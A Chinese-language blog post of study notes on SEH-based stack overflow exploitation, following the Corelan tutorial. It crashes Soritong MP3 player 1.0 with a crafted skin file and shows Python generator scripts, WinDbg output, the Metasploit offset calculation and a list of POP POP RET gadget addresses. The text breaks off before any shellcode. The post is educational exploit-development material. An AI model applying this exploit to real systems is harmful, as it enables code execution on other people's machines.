【干货分享】看教程学溢出之SEH利用

作为与时俱进的Web狗,不学点二进制安全相关的东西就太狭隘了,所以翻出收藏夹收藏已久的Corelan Team二进制经典系列教程。本篇文章是我在完成这篇教程学习之后,重新总结梳理的记录,结合自己的认识来讲述栈溢出的SEH利用方式。

教程原文稍显繁琐而且文章顺序稍显混乱,我在重新梳理的过程中也舍去了一些冗余的内容(比如SEH结构被反复讲了3次)和一些我觉得没有必要的内容(比如通过Ollydbg观察SEH的过程)。如果大家想了解被这写内容,可以去阅读这篇原文:[《Exploit writing tutorial part 3 : SEH Based Exploits》]

(https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/)。 至于为什么一上来就是教程的第三部分,因为第一部分学习之后的一段时间去处理其他事情,一直没来的及梳理(我难道要告诉你是因为我懒?),稍后会补上的。也希望自己能够完成这个系列教程的学习,并像这篇一样写成学习笔记分享出来。

0x01 什么是SHE

SEH为”Structured Exception Handler“的缩写,我们在编写程序时经常会遇到需要捕获某些异常进行特殊处理的情况,简单来说,就是try&catch语法。 我们简单来看下在栈中try&catch语法是怎么放置的:

SEH为”Structured Exception Handler“的缩写,我们在编写程序时经常会遇到需要捕获某些异常进行特殊处理的情况,简单来说,就是try&catch语法。

我们简单来看下在栈中try&catch语法是怎么放置的:

seh_in_stack

Windows有一套默认的SEH来捕获异常,如果Windows捕获到一个异常,你可以看到一个写着” xxx has encountered a problem and needs to close”的弹窗,这一般就是默认异常处理被触发的结果。显而易见,为了写出一套健壮的软件,在大多数情况下,开发人员会自己写代码捕获和处理这些异常(try&catch)。

为了应用程序能够捕获到异常后执行catch部分代码,异常处理指针会存储在每个代码块的栈中。如上图所示,每段代码都有它自己的栈结构,而异常处理作为栈的一部分存储在其中。换句话说,每个函数/程序都有一个栈结构,如果这个函数/程序自己实现了一个异常处理,那么这个异常处理就在这个函数/程序的栈结构中。

为了方便表达,之后的内容中使用EH(exception handler)来代表异常处理

EH以链表的形式存储在栈中,每一条SEH记录大小为8字节,包含2个元素:

  1. 指向下一条记录地址的指针(4字节)
  2. 指向处理当前异常的代码地址的指针(4字节)

下图为一个简单的SEH链条结构:

seh_structure

SEH链条的开始指针存在放在数据块的最开始位置(包括主函数、TEB(Thread Environment Block)或TIB(Thread Information Block)的数据块),所以SEH链条调用时经常会出现FS:[0]。在Intel机器中,如果你反汇编SEH的代码,就会看到类似MOV EAX,DWORD PTR FS:[0]这样的指令。在SEH链条的最末端,指针指向了FFFFFFFF,这代表程序并没有对这个异常进行处理,操作系统异常处理机制触发。

0x02 Windows的一些保护机制

XOR

从Windows XP SP1开始,当EH被调用时,操作系统会将所有的寄存器都会和它们自己进行一次异或操作,使它们都成为0x00000000,来确保你无法通过引用寄存器的方式找到你的payload。简单来说就是,EH触发,寄存器被清空了,我们无法简单的使用jmp eax这种方式完成利用了。

SafeSEH

SafeSEH是一些在编译阶段添加的保护机制,以阻止SEH覆盖的滥用。

有了XOR和SafeSEH的保护,我们不能通过jump寄存器的方式来跳到shellcode,这时就需要一些其他的指令来帮助我们达到jump到shellcode(指定地址)的目的。

从上面的栈结构图中我们可以得知,通过栈溢出可以将SEH链条进行覆盖。而每一条SEH记录的内容是两个指针,一个指向下一条记录,一个指向当前EH的处理函数,前者在栈上的位置是后者的上面。有了这些内容,我们可以打出这样的一套组合拳:

  1. 通过溢出覆盖栈中SEH,将指向下一条记录的指针覆盖为shellcode地址,将指向当前EH处理函数的指针指向一个带有“POP POP RET”操作的函数
  2. 触发一个EH
  3. 应用程序处理EH时调用了“POP POP RET”指令,将指向下一条记录的指针作为EIP内容
  4. 跳到shellcode地址,执行shellcode

exploit_flow

我们的输入大概是这样的:

[Junk][nSEH][SEH][Nop-Shellcode]

对照上面的步骤,nSEH放置shellcode地址,SEH放置“POP POP RET”操作函数的地址。

0x03 触发&调试

这次实验使用的是Soritong MP3 player 1.0,发布于2009年7月20日。

首先使用python实现一个生成脚本(原文为perl),用以生成可以触发崩溃的文件:

'''python
uitext = "ui.txt"
junk = "\x41" * 5000
fp = open(uitext, 'w')
fp.write(junk)
fp.close()
'''

把生成的文件放在安装路径下的skin/default目录中,使用windbg打开soritong.exe。

windbg_open

在程序加载完成后,执行之前,windbg会添加一个断点,让程序暂停,在最下面的输入框中输入g或者按下F5,运行程序。

windbg_run

windbg在捕获到异常后向程序插入断点,并提示“This exception may be expected and handled“。

windbg_expception

打印栈信息看一下:

'''
00422e33 8810            mov     byte ptr [eax],dl          ds:0023:00130000=41
0:000> d esp
0012da14  3c eb aa 00 00 00 00 00-00 00 00 00 00 00 00 00  <...............
0012da24  94 da 12 00 00 00 00 00-e0 a9 15 00 00 00 00 00  ................
0012da34  00 00 00 00 00 00 00 00-00 00 00 00 94 88 94 7c  ...............|
0012da44  67 28 91 7c 00 eb 12 00-00 00 00 00 01 a0 f8 00  g(.|............
0012da54  01 00 00 00 24 da 12 00-71 b8 94 7c d4 ed 12 00  ....$...q..|....
0012da64  8f 04 44 7e 30 88 41 7e-ff ff ff ff 2a 88 41 7e  ..D~0.A~....*.A~
0012da74  7b 92 42 7e af 41 00 00-b8 da 12 00 d8 00 0b 5d  {.B~.A.........]
0012da84  94 da 12 00 bf fe ff ff-b8 f0 12 00 b8 a5 15 00  ................
'''

可以在0012da64那行看到SEH链条中最终的ffffffff被调用,下面我们运行!analyze -v来看下:

'''
FAULTING_IP:
SoriTong!TmC13_5+3ea3
00422e33 8810            mov     byte ptr [eax],dl

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00422e33 (SoriTong!TmC13_5+0x00003ea3)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 00130000
Attempt to write to address 00130000

FAULTING_THREAD:  00000a4c

PROCESS_NAME:  SoriTong.exe

ADDITIONAL_DEBUG_TEXT:
Use '!findthebuild' command to search for the target build information.
If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols.

FAULTING_MODULE: 7c900000 ntdll

DEBUG_FLR_IMAGE_TIMESTAMP:  37dee000

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  00130000

WRITE_ADDRESS:  00130000 

FOLLOWUP_IP:
SoriTong!TmC13_5+3ea3
00422e33 8810            mov     byte ptr [eax],dl

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_WRONG_SYMBOLS

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_WRITE

DEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE

IP_MODULE_UNLOADED:
ud+41414140
41414141 ??              ???

LAST_CONTROL_TRANSFER:  from 41414141 to 00422e33

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fd38 41414141 41414141 41414141 41414141 SoriTong!TmC13_5+0x3ea3
0012fd3c 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd40 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd44 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd48 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd4c 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd50 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd54 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140

 . . . (removed some of the lines)

0012ffb8 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012ffbc 

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  SoriTong!TmC13_5+3ea3

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: SoriTong

IMAGE_NAME:  SoriTong.exe

STACK_COMMAND:  ~0s ; kb

BUCKET_ID:  WRONG_SYMBOLS

FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_c0000005_SoriTong.exe!TmC13_5

Followup: MachineOwner
'''

EH处理指针指向了ffffffff,说明应用程序并没有实现相关的try&catch,下面我们打印一下TEB:

'''
0:000> d fs:[0]
003b:00000000  64 fd 12 00 00 00 13 00-00 c0 12 00 00 00 00 00 d...............
003b:00000010  00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................
003b:00000020  00 0f 00 00 30 0b 00 00-00 00 00 00 08 2a 14 00 ....0........*..
003b:00000030  00 b0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000040  38 43 a4 e2 00 00 00 00-00 00 00 00 00 00 00 00 8C..............
003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
'''

根据我们上面所说的,fs:[0]的开始部分就是指向SEH链条最开始部分的指针,我们接着打印下这个地址(0x0012FD64)下的内容:

'''
0:000> d 0012fd64
0012fd64  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fd74  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fd84  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fd94  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fda4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fdb4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fdc4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fdd4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
'''

里面全是A,我们再通过!exchain命令查看下EH链条的指向:

'''
0:000> !exchain
0012fd64: <Unloaded_ud.drv>+41414140 (41414141)
Invalid exception stack at 41414141
'''

可以看出我们已经成功的覆盖了EH的处理指针,程序如果再向下执行,就会将0x41414141作为地址返回给EIP:

windbg_41

windbg_41

上面这张图,我们也可以看到eax、ebx、esi和edi已经被清空了。

0x04 利用

针对SEH的利用,在Windows XP SP1之前可以通过直接jmp到寄存器的方式跳转到shellcode,而在之后的版本,只能采用我们之前所说的”POP POP RET“方法。使用RET的方式覆盖EIP存在一定的稳定性问题,并且也可能会出现buffer大小不够的尴尬。但这通常都是值得的,每当你发现了一个栈溢出可以使你覆盖EIP,那你可以更深入的覆盖栈空间,尝试触发SEH链条。”更深入“意味着你讲填充更多的有效buffer空间,并且当你覆盖EIP的同时,一个异常被自动触发,将一个传统的exploit转变成一个SEH exploit。

现在我们再来回顾一下之前所说的利用思路:

'''
1st exception occurs :
 |
 --------------------------- (1)
                            |
                     -------+-------------- (3) opcode in next SEH : jump over SE Handler to the shellcode
                     |      |             |
                     |      V             V
[ Junk buffer ][ next SEH ][ SE Handler ][ Shellcode ]
                opcode to   do                 (3) Shellcode gets executed
                jump over   pop pop ret
                SE Handler   |
                ^            |
                |            |
                -------------- (2) will ‘pretend’ there’s a second exception, puts address of next SEH location in EIP, so opcode gets executed
'''

实现过程中,我们需要先知道填充多少个字符到Junk buffer,才能到达next SEH的位置。这里我们使用msf提供的pattern_create.rb和pattern_offset.rb套装工具完成,首先使用pattern_create.rb生成一个5000字节长度的字符串,放到我们前面的python代码的junk变量中。

'''
msf@ubuntu-msf:/opt/metasploit-framework/tools$ ./pattern_create.rb 5000
'''

'''python
#!/usr/bin/python
# -*-coding:utf-8-*-

uitext = "ui.txt"
junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
fp = open(uitext, 'w')
fp.write(junk)
fp.close()
'''

像之前一样执行,在windbg中我们在2次断点后使用!exchain命令查看当前EH指针的内容:

'''
0:000> !exchain
0012d658: ntdll!RtlConvertUlongToLargeInteger+7e (7c9032bc)
0012fd64: 41367441
Invalid exception stack at 35744134
'''

指针内容是41367441,通过python print来将它们的ascii形式打印:

'''
In [3]: print "\x41\x36\x74\x41"
A6tA
'''

再使用pattern_offset.rb查看位置:

'''
msf@ubuntu-msf:/opt/metasploit-framework/tools$ ./pattern_offset.rb 0x41367441 5000
[*] Exact match at offset 588
'''

这时我们知道了到达SE Handler需要填充588个字节,到达next Handler就是588-4=584字节。下面我们需要找到一个带有”POP POP RET“的函数地址,参照第一篇教程的方法,我们最好在应用程序自带的dll中找到带有这样功能的函数(好了,我知道你们又要吐槽我没写第一篇就写第三篇了,我会尽快的233)。

从windbg最开始的加载内容中,可以看到有一个C:\Program Files\SoriTong\Player.dll,我们先来看看它有没有我们想要的。这里我们使用msf提供的msfpescan来查看:

'''
msf@ubuntu-msf:/opt/metasploit-framework$ msfpescan -p /home/msf/桌面/Player.dll |grep pop |grep -v "000"

0x100106fb pop edi; pop esi; ret
0x10010915 pop ebp; pop ebx; ret
0x10010a7c pop esi; pop ebx; ret
0x10010bf2 pop esi; pop ebx; ret
0x10010cab pop edi; pop esi; ret
0x1001105b pop esi; pop ebx; retn 0x0010
0x10011091 pop esi; pop ebx; retn 0x0010
0x10011113 pop esi; pop ebx; retn 0x0010
0x100116fd pop edi; pop esi; ret
0x100120f3 pop esi; pop ebx; ret
0x1001216e pop esi; pop ebx; ret
0x10012178 pop esi; pop ebx; ret
0x100125d9 pop esi; pop ebx; ret
0x100125ee pop esi; pop ebx; ret
0x1001263d pop edi; pop esi; ret
0x100127f8 pop edi; pop esi; ret
0x1001281f pop edi; pop esi; ret
0x10012984 pop edi; pop esi; ret
0x10012ddd pop edi; pop esi; ret
0x10012e17 pop edi; pop esi; ret
0x10012e5e pop edi; pop esi; ret
0x10012e70 pop edi; pop esi; ret
0x10012f11 pop esi; pop ebx; ret
0x10012f56 pop edi; pop esi; ret
0x10013047 pop ebx; pop edi; ret
0x1001304d pop ebx; pop edi; ret
0x100133b2 pop edi; pop esi; ret
0x100135f0 pop esi; pop ebx; ret
0x1001372b pop esi; pop ebx; ret
0x10013878 pop edi; pop esi; ret
0x100138f7 pop edi; pop esi; ret
0x10013991 pop esi; pop ebx; ret
0x10013a05 pop esi; pop ebp; ret
0x10013baa pop esi; pop ebx; ret
0x10013c51 pop esi; pop ebx; ret
0x10013c7d pop esi; pop ebx; ret
0x10013fbf pop esi; pop ebx; ret
0x10013fd1 pop esi; pop ebx; ret
0x100140e0 pop esi; pop ebx; ret
0x100140e7 pop esi; pop ebx; ret
0x10014137 pop esi; pop ebx; ret
0x100141a5 pop esi; pop ebx; ret
0x100141db pop esi; pop ebx; ret
0x1001422c pop esi; pop ebx; ret
0x10014233 pop esi; pop ebx; ret
0x10014269 pop esi; pop ebx; ret
0x100142b9 pop esi; pop ebx; ret
0x10014335 pop esi; pop ebx; ret
0x10014448 pop edi; pop esi; ret
0x10014475 pop edi; pop esi; ret
0x10014499 pop edi; pop esi; ret
0x100144bf pop edi; pop esi; ret
0x10014f3e pop esi; pop ebx; ret
0x10014f84 pop esi; pop ebx; ret
0x100152f1 pop esi; pop ebx; ret
0x1001535c pop esi; pop ebx; ret
0x1001536a pop esi; pop ebx; ret
0x1001537a pop esi; pop ebx; ret
0x10015d3f pop esi; pop ebx; ret
0x10015d86 pop esi; pop ebx; ret
0x10016d8c pop edi; pop esi; ret
0x100173bb pop edi; pop ebx; ret
0x100173c2 pop edi; pop ebx; ret
0x100173c9 pop edi; pop ebx; ret
0x10017602 pop esi; pop ebx; ret
0x1001824c pop edi; pop esi; ret
0x10018290 pop edi; pop esi; ret
0x1001829b pop edi; pop esi; ret
0x100183cb pop esi; pop ebx; ret
0x100183eb pop esi; pop ebx; ret
0x100183f1 pop esi; pop ebx; ret
0x10018460 pop esi; pop ebx; ret
0x1001890a pop esi; pop ebx; ret
0x1001892e pop esi; pop ebx; ret
0x10018a2b pop esi; pop ebx; ret
0x10018a89 pop esi; pop ebx; ret
0x10018b31 pop esi; pop ebx; ret
0x10018b38 pop esi; pop ebx; ret
0x10018bd5 pop esi; pop ebx; ret
0x10018c81 pop esi; pop ebx; ret
0x10018de8 pop edi; pop esi; ret
0x10018f03 pop esi; pop ebx; retn 0x0010
0x10018fe7 pop edi; pop esi; ret
0x10019267 pop edi; pop esi; ret
0x100192ee pop edi; pop esi; ret
0x1001930f pop edi; pop esi; ret
0x100193bd pop edi; pop esi; ret
0x100193c8 pop edi; pop esi; ret
0x100193ff pop edi; pop esi; ret
0x1001941f pop edi; pop esi; ret
0x1001947d pop edi; pop esi; ret
0x100194cd pop edi; pop esi; ret
0x100194d2 pop edi; pop esi; ret
0x1001af39 pop ebx; pop eax; ret
0x1001b1f1 pop ebx; pop eax; ret
0x1001b469 pop esi; pop ebx; ret
0x1001b46f pop esi; pop ebx; ret
0x1001b4d7 pop esi; pop edi; ret
0x1001b57b pop esi; pop edi; ret
